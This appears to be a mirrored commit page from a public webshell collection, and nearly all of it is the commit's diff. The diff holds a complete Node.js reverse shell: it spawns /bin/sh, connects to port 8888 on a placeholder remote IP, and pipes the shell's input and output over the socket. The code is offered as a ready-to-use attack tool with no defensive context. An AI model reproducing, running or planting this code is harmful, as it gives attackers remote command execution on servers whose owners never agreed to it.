mirror of
https://github.com/tennc/webshell.git
synced 2025-12-06 04:41:28 +00:00
增加了nodejs 开启bash的shell
This commit is contained in:
@@ -1,12 +1,12 @@
|
|||||||
(function(){
|
(function(){
|
||||||
var net = require("net"),
|
var net = require("net"),
|
||||||
cp = require("child_process"),
|
cp = require("child_process"),
|
||||||
sh = cp.spawn("/bin/sh",[]);
|
sh = cp.spawn("/bin/sh",[]);
|
||||||
var client = new net.Socket();
|
var client = new net.Socket();
|
||||||
client.connect(8888,"xxx.xxx.xxx.xxx",function(){
|
client.connect(8888,"xxx.xxx.xxx.xxx",function(){
|
||||||
client.pipe(sh.stdin);
|
client.pipe(sh.stdin);
|
||||||
sh.stdout.pipe(client);
|
sh.stdout.pipe(client);
|
||||||
sh.stderr.pipe(client);
|
sh.stderr.pipe(client);
|
||||||
});
|
});
|
||||||
return /a/;
|
return /a/;
|
||||||
})();
|
})();
|
||||||
Reference in New Issue
Block a user